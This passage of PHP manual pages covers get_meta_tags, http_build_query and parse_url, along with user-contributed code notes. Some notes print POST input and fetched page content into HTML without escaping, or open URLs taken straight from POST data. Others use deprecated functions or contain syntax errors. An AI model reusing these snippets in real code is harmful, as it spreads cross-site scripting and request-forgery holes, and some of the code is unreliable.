                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                        unset($key);
                    }
                    else
                    {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else
        {
            return false;
        }
    }
}
?>


Extracts all meta tag content attributes from a file and returns an array

  • « get_headers
  • http_build_query »
  • PHP Manual
  • URL Functions
  • Extracts all meta tag content attributes from a file and returns an array

get_meta_tags

(PHP 4, PHP 5)

get_meta_tags — Extracts all meta tag content attributes from a file and returns an array

Description

array get_meta_tags ( string $filename [, bool $use_include_path = false ] )

Opens filename and parses it line by line for <meta> tags in the file. The parsing stops at </head>.

Parameters

filename

The path to the HTML file, as a string. This can be a local file or an URL.

Example #1 What get_meta_tags() parses

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- parsing stops here -->
(pay attention to line endings - PHP uses a native function to parse the input, so a Mac file won't work on Unix).

use_include_path

Setting use_include_path to TRUE will result in PHP trying to open the file along the standard include path as per the include_path directive. This is used for local files, not URLs.

Return Values

Returns an array with all the parsed meta tags.

The value of the name property becomes the key, the value of the content property becomes the value of the returned array, so you can easily use standard array functions to traverse it or access single values. Special characters in the value of the name property are substituted with '_', the rest is converted to lower case. If two meta tags have the same name, only the last one is returned.

Examples

Example #2 What get_meta_tags() returns

<?php
// Assuming the above tags are at www.example.com
$tags = get_meta_tags('http://www.example.com/');

// Notice how the keys are all lowercase now, and
// how . was replaced by _ in the key.
echo $tags['author'];       // name
echo $tags['keywords'];     // php documentation
echo $tags['description'];  // a php manual
echo $tags['geo_position']; // 49.33;-86.59
?>

Notes

Note:

Only meta tags with name attributes will be parsed. Quotes are not required.

See Also

  • htmlentities() - Convert all applicable characters to HTML entities
  • urlencode() - URL-encodes string

User Contributed Notes

richard dot dern at athaliasoft dot fr 03-Oct-2013 05:50
I personally experienced less issues using the DOM functions than regular expressions while trying to fetch meta tags and not using get_meta_tags function (in order to get http-equiv meta tags too).

<?php

$doc = new DOMDocument();
$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$nodes = $xpath->query('//head/meta');

foreach($nodes as $node) {
    [...]
}

?>
Ebpo 09-Mar-2013 03:31
Be aware that the function looks for the metatags in the whole page. If one of the meta is commented in your code for some reason, it will still be grabed.
jstel at 126 dot com 14-Jul-2009 06:36
this function could get each meta of html content , and stripped all js and css.

<?php
function get_meta_data($content)
{
    $content = strtolower($content);
    $content = preg_replace("'<style[^>]*>.*</style>'siU",'',$content);  // strip js
    $content = preg_replace("'<script[^>]*>.*</script>'siU",'',$content); // strip css
    $split = explode("\n",$content);
    foreach ($split as $k => $v)
    {
        if (strpos(' '.$v,'<meta')) {
             preg_match_all(
"/<meta[^>]+(http\-equiv|name)=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]*>/i",
$v, $split_content[],PREG_PATTERN_ORDER);;
        }
    }
    return $split_content;
}
?>
Antonio - Malaga 10-Feb-2009 11:21
It's not work if meta syntax not have trailing slash.
doob_ at gmx dot de 27-Nov-2008 01:12
<?php

/*
** Extracts and formats meta tag content
*/

function get_meta_data($url, $searchkey='') {
    $data = get_meta_tags($url);    // get the meta data in an array
    foreach($data as $key => $value) {
        if(mb_detect_encoding($value, 'UTF-8, ISO-8859-1', true) != 'ISO-8859-1') {    // check whether the content is UTF-8 or ISO-8859-1
            $value = utf8_decode($value);    // if UTF-8 decode it
        }
        $value = strtr($value, get_html_translation_table(HTML_ENTITIES));    // mask the content
        if($searchkey != '') {    // if only one meta tag is in demand e.g. 'description'
            if($key == $searchkey) {
                $str = $value;    // just return the value
            }
        } else {    // all meta tags
            $pattern = '/ |,/i';    // ' ' or ','
            $array = preg_split($pattern, $value, -1, PREG_SPLIT_NO_EMPTY);    // split it in an array, so we have the count of words
            $str .= '<p><span style="display:block;color:#000000;font-weight:bold;">' . $key . ' <span style="font-weight:normal;">(' . count($array) . ' words | ' . strlen($value) . ' chars)</span></span>' . $value . '</p>';    // format data with count of words and chars
        }
    }
    return $str;
}

$content .= get_meta_data("http://www.example.com/");
/*
output looks like this:

description (23 words | 167 chars)
SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.

keywords (13 words | 119 chars)
SELFHTML, HTML, Dynamic HTML, JavaScript, CGI, Perl, Grafik, WWW-Seiten, Web-Seiten, Hilfe, Dokumentation, Beschreibung

etc.

*/

$content .= get_meta_data("http://www.example.com/", "description");
/*
output looks like this:

SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.
*/

?>
diel at caroes dot be 16-Jan-2008 07:38
Quick meta data grabber
[code]
if(get_meta_tags('http://'.$_POST['pagina'])){
        print '<font class="midden">Meta data from http://'.$_POST['pagina'].'</font>';
        $metadata = get_meta_tags('http://'.$_POST['pagina']);
        echo '<table width="100%">';
        print '<tr><td>Meta</td><td>Waarde</td></tr>';
        foreach($metadata as $naam => $waarde){
            echo '<tr><td valign="top">'.$naam.'</td><td>'.$waarde.'</td></tr>';
        }
        print '</table>';
    }else{
        print '
        <div class="red_h">Incorrect</div>
        ';
    }
[/code]
roganty at gmail dot com 19-Aug-2006 12:33
This is a slight amendment to jimmyxx at gmail dot com function

I tried using the regex displayed in his code, and php threw up a couple of errors

Below is the correct regular expression that works
(Please note that I had to split the regex into strings because php.net was complaining about the line being to long)
<?php
preg_match_all(
   "|<meta[^>]+name=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]+>|i",
   $html, $out,PREG_PATTERN_ORDER);
?>

The problem was due to the quotes being incorrectly escaped.
I hope this helps anyone who has been having problems with his code
jimmyxx at gmail dot com 20-Sep-2005 09:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

    preg_match_all(
    "|<meta[^>]+name=\\"([^\\"]*)\\"[^>]+content=\\"([^\\"]*)\\"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

    for ($i=0;$i < count($out[1]);$i++) {
        // loop through the meta data - add your own tags here if you need
        if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
        if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
    }

return $meta;
}

?>
mariano at cricava dot com 13-Sep-2005 02:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 3)
        {
            $originals = $match[0];
            $names = $match[1];
            $values = $match[2];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    $metaTags[$names[$i]] = array (
                        'html' => htmlentities($originals[$i]),
                        'value' => $values[$i]
                    );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
    [title] => Mariano Iglesias: El Eternauta
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                    [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
                )

            [DC.title] => Array
                (
                    [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                    [value] => Mariano Iglesias - Weblog
                )

            [ICBM] => Array
                (
                    [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                    [value] => -34.6017, -58.3956
                )

            [geo.position] => Array
                (
                    [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                    [value] => -34.6017;-58.3956
                )

            [geo.region] => Array
                (
                    [html] => <meta name="geo.region" content="AR-BA">
                    [value] => AR-BA
                )

            [geo.placename] => Array
                (
                    [html] => <meta name="geo.placename" content="Buenos Aires">
                    [value] => Buenos Aires
                )

        )

)
?>
Michael Knapp 12-Mar-2005 09:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
    }

    // get tag contents
    @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

    // tag contents
    $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld 06-Feb-2005 03:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com 01-Feb-2005 04:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

    // tags
    $start = '<atag>';
    $end = '<\/atag>';

    // open the file
    $fp = fopen( $page, 'r' );

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
        $buf = trim( fgets( $fp, 4096 ) );
        $cont .= $buf;
    }

    // get tag contents
    preg_match( "/$start(.*)$end/s", $cont, $match );

    // tag contents
    $contents = $match[ 1 ];

?>
jp at webgraphe dot com 13-Dec-2003 02:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
20-Dec-2001 08:01
Tested PHP 4.0.6

get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.

Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu 31-Jul-2001 12:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                                {
                                    $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                    echo "<font face=\"Arial\" size=2>$description[1]</font>";

                                }
richard at pifmagazine dot com 22-Apr-2000 02:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.

This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com 22-Apr-2000 02:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.


Generate URL-encoded query string

  • « get_meta_tags
  • parse_url »
  • PHP Manual
  • URL Functions
  • Generate URL-encoded query string

http_build_query

(PHP 5)

http_build_query — Generate URL-encoded query string

Description

string http_build_query ( mixed $query_data [, string $numeric_prefix [, string $arg_separator [, int $enc_type = PHP_QUERY_RFC1738 ]]] )

Generates a URL-encoded query string from the associative (or indexed) array provided.

Parameters

query_data

May be an array or object containing properties.

If query_data is an array, it may be a simple one-dimensional structure, or an array of arrays (which in turn may contain other arrays).

If query_data is an object, then only public properties will be incorporated into the result.

numeric_prefix

If numeric indices are used in the base array and this parameter is provided, it will be prepended to the numeric index for elements in the base array only.

This is meant to allow for legal variable names when the data is decoded by PHP or another CGI application later on.

arg_separator

arg_separator.output is used to separate arguments, unless this parameter is specified, and is then used.

enc_type

By default, PHP_QUERY_RFC1738.

If enc_type is PHP_QUERY_RFC1738, then encoding is performed per » RFC 1738 and the application/x-www-form-urlencoded media type, which implies that spaces are encoded as plus (+) signs.

If enc_type is PHP_QUERY_RFC3986, then encoding is performed according to » RFC 3986, and spaces will be percent encoded (%20).

Return Values

Returns a URL-encoded string.

Changelog

Version | Description
5.4.0 | The enc_type parameter was added.
5.1.3 | Square brackets are escaped.
5.1.2 | The arg_separator parameter was added.

Examples

Example #1 Simple usage of http_build_query()

<?php
$data = array('foo'=>'bar',
              'baz'=>'boom',
              'cow'=>'milk',
              'php'=>'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, '', '&amp;');

?>

The above example will output:

foo=bar&baz=boom&cow=milk&php=hypertext+processor
foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor

Example #2 http_build_query() with numerically index elements.

<?php
$data = array('foo', 'bar', 'baz', 'boom', 'cow' => 'milk', 'php' =>'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, 'myvar_');
?>

The above example will output:

0=foo&1=bar&2=baz&3=boom&cow=milk&php=hypertext+processor
myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_3=boom&cow=milk&php=hypertext+processor

Example #3 http_build_query() with complex arrays

<?php
$data = array('user'=>array('name'=>'Bob Smith',
                            'age'=>47,
                            'sex'=>'M',
                            'dob'=>'5/12/1956'),
              'pastimes'=>array('golf', 'opera', 'poker', 'rap'),
              'children'=>array('bobby'=>array('age'=>12,
                                               'sex'=>'M'),
                                'sally'=>array('age'=>8,
                                               'sex'=>'F')),
              'CEO');

echo http_build_query($data, 'flags_');
?>

this will output : (word wrapped for readability)

user%5Bname%5D=Bob+Smith&user%5Bage%5D=47&user%5Bsex%5D=M&
user%5Bdob%5D=5%2F12%2F1956&pastimes%5B0%5D=golf&pastimes%5B1%5D=opera&
pastimes%5B2%5D=poker&pastimes%5B3%5D=rap&children%5Bbobby%5D%5Bage%5D=12&
children%5Bbobby%5D%5Bsex%5D=M&children%5Bsally%5D%5Bage%5D=8&
children%5Bsally%5D%5Bsex%5D=F&flags_0=CEO

Note:

Only the numerically indexed element in the base array "CEO" received a prefix. The other numeric indices, found under pastimes, do not require a string prefix to be legal variable names.

Example #4 Using http_build_query() with an object

<?php
class parentClass {
    public    $pub      = 'publicParent';
    protected $prot     = 'protectedParent';
    private   $priv     = 'privateParent';
    public    $pub_bar  = Null;
    protected $prot_bar = Null;
    private   $priv_bar = Null;

    public function __construct(){
        $this->pub_bar  = new childClass();
        $this->prot_bar = new childClass();
        $this->priv_bar = new childClass();
    }
}

class childClass {
    public    $pub  = 'publicChild';
    protected $prot = 'protectedChild';
    private   $priv = 'privateChild';
}

$parent = new parentClass();

echo http_build_query($parent);
?>

The above example will output:

pub=publicParent&pub_bar%5Bpub%5D=publicChild

See Also

  • parse_str() - Parses the string into variables
  • parse_url() - Parse a URL and return its components
  • urlencode() - URL-encodes string
  • array_walk() - Apply a user supplied function to every member of an array

User Contributed Notes

jakub dot lopuszanski at nasza-klasa dot pl 10-Dec-2013 07:41
While this is not documented, this http_build_query can return FALSE on some inputs:
<?php
  //gives bool(false)
  var_dump(http_build_query('whatever'));
?>
Kirils Solovjovs 17-Jul-2013 05:51
instead of some other suggestions that did not work for me, I found that the best way to build POST content (e.g. for stream_context_create) is urldecode(http_build_query($query))
Vitaly Dyatlov 23-Apr-2013 08:27
Correct implementation of coding the array of params without indexes (valdikks fixed code - didnt work for inner arrays):

<code>
function cr_post($a,$b='',$c=0)
        {
            if (!is_array($a)) return false;
            foreach ((array)$a as $k=>$v)
            {
                if ($c)
                {
                    if( is_numeric($k) )
                        $k=$b."[]";
                    else
                        $k=$b."[$k]";
                }
                else
                {   if (is_int($k))
                        $k=$b.$k;
                }

                if (is_array($v)||is_object($v))
                {
                    $r[]=cr_post($v,$k,1);
                        continue;
                }
                $r[]=urlencode($k)."=".urlencode($v);
            }
            return implode("&",$r);
        }
</code>
eric dot muyser at gmail dot com 01-Apr-2013 07:45
This function makes like this

files[0]=1&files[1]=2&...

To do it like this:

files[]=1&files[]=2&...

Do this:

        $query = http_build_query($query);
        $query = preg_replace('/%5B[0-9]+%5D/simU', '%5B%5D', $query);
stocki dot r at gmail dot com 02-Mar-2013 12:38
If you need only key+value pairs, you can use this:

<?php
    $array = array(
        "type" => "welcome",
        "message" => "Hello World!"
    );
    echo urldecode(http_build_query($array, '', ';'));
?>

Result: type=welcome;message=Hello World!
anonymous 20-Jul-2012 12:57
Is it worth noting that if query_data is an associative array and a value is itself an empty array, or an array of nothing but empty array (or arrays containing only empty arrays etc.), the corresponding key will not appear in the resulting query string?
E.g.

$post_data = array('name'=>'miller', 'address'=>array('address_lines'=>array()), 'age'=>23);
echo http_build_query($post_data);

will print
name=miller&age=23
Anonymous 08-Feb-2011 09:11
As noted before, with php5.3 the separator is &amp; on some servers it seems. Normally if posting to another php5.3 machine this will not be a problem.

But if you post to a tomcat java server or something else the &amp; might not be handled properly.

To overcome this specify:

http_build_query($array, '', '&');

and NOT

http_build_query($array); //gives &amp; to some servers
v0idnull[try_to_spam_me_now] at gee-mail dot co 11-Mar-2010 08:51
on my install of PHP 5.3, http_build_query() seems to use &amp; as the default separator. Kind of interesting when combined with stream_context_create() for a POST request, and getting $_POST['amp;fieldName'] on the receiving end.
irish [-@-] ytdj [-dot-] ca 21-Jan-2010 10:31
When using the http_build_query function to create a URL query from an array for use in something like curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url), be careful about the url encoding.

In my case, I simply wanted to pass on the received $_POST data to a CURL's POST data, which requires it to be in the URL format.  If something like a space [ ] goes into the http_build_query, it comes out as a +. If you're then sending this off for POST again, you won't get the expected result.  This is good for GET but not POST.

Instead you can make your own simple function if you simply want to pass along the data:

<?php
$post_url = '';
foreach ($_POST AS $key=>$value)
    $post_url .= $key.'='.$value.'&';
$post_url = rtrim($post_url, '&');
?>

You can then use this to pass along POST data in CURL.

<?php
    $ch = curl_init($some_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url);
    curl_exec($ch);
?>

Note that at the final page that processes the POST data, you should be properly filtering/escaping it.
netrox at aol dot com 27-Aug-2009 04:24
I noticed that even with the magic quotes disabled, http_build_query() automagically adds slashes to strings.

So, I had to add "stripslashes" to every string variable.
valdikss at gmail dot com 27-Aug-2007 10:15
This function is wrong for http!
arrays in http is like this:

files[]=1&files[]=2&...

but function makes like this

files[0]=1&files[1]=2&...

Here is normal function:

<?php
function cr_post($a,$b=\'\',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b.\"[]\"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=cr_post($v,$k,1);continue;}
$r[]=urlencode($k).\"=\".urlencode($v);}return implode(\"&\",$r);}
?>
Ilya Rudenko 10-Jan-2006 08:57
Params with null value do not present in result string.

<?
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1


Parse a URL and return its components

  • « http_build_query
  • rawurldecode »
  • PHP Manual
  • URL Functions
  • Parse a URL and return its components

parse_url

(PHP 4, PHP 5)

parse_url — Parse a URL and return its components

Description

mixed parse_url ( string $url [, int $component = -1 ] )

This function parses a URL and returns an associative array containing any of the various components of the URL that are present.

This function is not meant to validate the given URL, it only breaks it up into the above listed parts. Partial URLs are also accepted, parse_url() tries its best to parse them correctly.

Parameters

url

The URL to parse. Invalid characters are replaced by _.

component

Specify one of PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT to retrieve just a specific URL component as a string (except when PHP_URL_PORT is given, in which case the return value will be an integer).

Return Values

On seriously malformed URLs, parse_url() may return FALSE.

If the component parameter is omitted, an associative array is returned. At least one element will be present within the array. Potential keys within this array are:

  • scheme - e.g. http
  • host
  • port
  • user
  • pass
  • path
  • query - after the question mark ?
  • fragment - after the hashmark #

If the component parameter is specified, parse_url() returns a string (or an integer, in the case of PHP_URL_PORT) instead of an array. If the requested component doesn't exist within the given URL, NULL will be returned.

Changelog

Version | Description
5.4.7 | Fixed host recognition when scheme is omitted and a leading component separator is present.
5.3.3 | Removed the E_WARNING that was emitted when URL parsing failed.
5.1.2 | Added the component parameter.

Examples

Example #1 A parse_url() example

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?>

The above example will output:

Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

Example #2 A parse_url() example with missing scheme

<?php
$url = '//www.example.com/path?googleguy=googley';

// Prior to 5.4.7 this would show the path as "//www.example.com/path"
var_dump(parse_url($url));
?>

The above example will output:

array(3) {
  ["host"]=>
  string(15) "www.example.com"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(17) "googleguy=googley"
}

Notes

Note:

This function doesn't work with relative URLs.

Note:

This function is intended specifically for the purpose of parsing URLs and not URIs. However, to comply with PHP's backwards compatibility requirements it makes an exception for the file:// scheme where triple slashes (file:///...) are allowed. For any other scheme this is invalid.

See Also

  • pathinfo() - Returns information about a file path
  • parse_str() - Parses the string into variables
  • http_build_query() - Generate URL-encoded query string
  • http_build_url() - Build a URL
  • dirname() - Returns parent directory's path
  • basename() - Returns trailing name component of path
  • » RFC 3986

User Contributed Notes

lauris () lauris ! lv 09-Apr-2014 05:49
Here is utf-8 compatible parse_url() replacement function based on "laszlo dot janszky at gmail dot com" work. Original incorrectly handled URLs with user:pass. Also made PHP 5.5 compatible (got rid of now deprecated regex /e modifier).

<?php

    /**
     * UTF-8 aware parse_url() replacement.
     *
     * @return array
     */
    function mb_parse_url($url)
    {
        $enc_url = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            function ($matches)
            {
                return urlencode($matches[0]);
            },
            $url
        );

        $parts = parse_url($enc_url);

        if($parts === false)
        {
            throw new \InvalidArgumentException('Malformed URL: ' . $url);
        }

        foreach($parts as $name => $value)
        {
            $parts[$name] = urldecode($value);
        }

        return $parts;
    }

?>
ivijan dot stefan at gmail dot com 27-Mar-2014 01:49
Here's a good way to using parse_url () gets the youtube link.
This function I used in many works:

<?php
function youtube($url, $width=560, $height=315, $fullscreen=true)
{
    parse_str( parse_url( $url, PHP_URL_QUERY ), $my_array_of_vars );
    $youtube= '<iframe allowtransparency="true" scrolling="no" width="'.$width.'" height="'.$height.'" src="//www.youtube.com/embed/'.$my_array_of_vars['v'].'" frameborder="0"'.($fullscreen?' allowfullscreen':NULL).'></iframe>';
    return $youtube;
}

// show youtube on my page
$url='http://www.youtube.com/watch?v=yvTd6XxgCBE';
 youtube($url, 560, 315, true);
?>

parse_url () allocates a unique youtube code and  put into iframe link and displayed on your page. The size of the videos choose yourself.

Enjoy.
webmaster at bigbirdmedia dot com 06-Feb-2014 01:56
A simple function using "parse_url" to find the base URL of the given link.

<?php

function getPrimaryDomain($url) {
  $tld = parse_url($url,PHP_URL_HOST);
  $tldArray = explode(".",$tld);

  // COUNTS THE POSITION IN THE ARRAY TO IDENTIFY THE TOP LEVEL DOMAIN (TLD)
  $l1 = '0';

  foreach($tldArray as $s) {
    // CHECKS THE POSITION IN THE ARRAY TO SEE IF IT MATCHES ANY OF THE KNOWN TOP LEVEL DOMAINS (YOU CAN ADD TO THIS LIST)
    if($s == 'com' || $s == 'net' || $s == 'info' || $s == 'biz' || $s == 'us' || $s == 'co' || $s == 'org' || $s == 'me') {

      // CALCULATES THE SECOND LEVEL DOMAIN POSITION IN THE ARRAY ONCE THE POSITION OF THE TOP LEVEL DOMAIN IS IDENTIFIED
      $l2 = $l1 - 1;
    }
    else {
      // INCREMENTS THE COUNTER FOR THE TOP LEVEL DOMAIN POSITION IF NO MATCH IS FOUND
      $l1++;
    }
  }

  // RETURN THE SECOND LEVEL DOMAIN AND THE TOP LEVEL DOMAIN IN THE FORMAT LIKE "SOMEDOMAIN.COM"
  echo $tldArray[$l2] . '.' . $tldArray[$l1];
}

// CALL THE FUNCTION - THIS EXAMPLE RETURNS "BITLY.COM"
getPrimaryDomain('http://www.enterprise.bitly.com/?utm_source=homepage);

?>
utilmind 01-Jul-2013 09:06
parse_url doesn't works if the protocol doesn't specified. This seems like sandard, even the youtube doesn't gives the protocol name when generates code for embedding which have a look like "//youtube.com/etc".

So, to avoid bug, you must always check, whether the provided url has the protocol, and if not (starts with 2 slashes) -- add the "http:" prefix.
laszlo dot janszky at gmail dot com 25-May-2012 05:20
Created another parse_url utf-8 compatible function.
<?php
function mb_parse_url($url) {
    $encodedUrl = preg_replace('%[^:/?#&=\.]+%usDe', 'urlencode(\'$0\')', $url);
    $components = parse_url($encodedUrl);
    foreach ($components as &$component)
        $component = urldecode($component);
    return $components;
}
?>
therselman at gmail 28-Jan-2012 10:03
UTF-8 aware parse_url() replacement.

I've realized that even though UTF-8 characters are not allowed in URL's, I have to work with a lot of them and parse_url() will break.

Based largely on the work of "mallluhuct at gmail dot com", I added parse_url() compatible "named values" which makes the array values a lot easier to work with (instead of just numbers). I also implemented detection of port, username/password and a back-reference to better detect URL's like this: //en.wikipedia.com
... which, although is technically an invalid URL, it's used extensively on sites like wikipedia in the href of anchor tags where it's valid in browsers (one of the types of URL's you have to support when crawling pages). This will be accurately detected as the host name instead of "path" as in all other examples.

I will submit my complete function (instead of just the RegExp) which is an almost "drop-in" replacement for parse_url(). It returns a cleaned up array (or false) with values compatible with parse_url(). I could have told the preg_match() not to store the unused extra values, but it would complicate the RegExp and make it more difficult to read, understand and extend. The key to detecting UTF-8 characters is the use of the "u" parameter in preg_match().

<?php
function parse_utf8_url($url)
{
    static $keys = array('scheme'=>0,'user'=>0,'pass'=>0,'host'=>0,'port'=>0,'path'=>0,'query'=>0,'fragment'=>0);
    if (is_string($url) && preg_match(
            '~^((?P<scheme>[^:/?#]+):(//))?((\\3|//)?(?:(?P<user>[^:]+):(?P<pass>[^@]+)@)?(?P<host>[^/?:#]*))(:(?P<port>\\d+))?' .
            '(?P<path>[^?#]*)(\\?(?P<query>[^#]*))?(#(?P<fragment>.*))?~u', $url, $matches))
    {
        foreach ($matches as $key => $value)
            if (!isset($keys[$key]) || empty($value))
                unset($matches[$key]);
        return $matches;
    }
    return false;
}
?>

UTF-8 URL's can/should be "normalized" after extraction with this function.
thomas at gielfeldt dot com 02-Dec-2011 11:50
[If you haven't yet] been able to find a simple conversion back to string from a parsed url, here's an example:

<?php

$url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment';
if ($url === unparse_url(parse_url($url))) {
  print "YES, they match!\n";
}

function unparse_url($parsed_url) {
  $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
  $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
  $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
  $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
  $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
  $pass     = ($user || $pass) ? "$pass@" : '';
  $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
  $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
  $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
  return "$scheme$user$pass$host$port$path$query$fragment";
}

?>
gustavo dot andriuolo at vulcabras dot com dot ar 13-Jul-2011 03:31
Here's a method to get the REAL name of a domain. This return just the domain name, not the rest. First check if is not an IP, then return the name:

<?php
   function esip($ip_addr)
{
  //first of all the format of the ip address is matched
  if(preg_match("/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/",$ip_addr))
  {
    //now all the intger values are separated
    $parts=explode(".",$ip_addr);
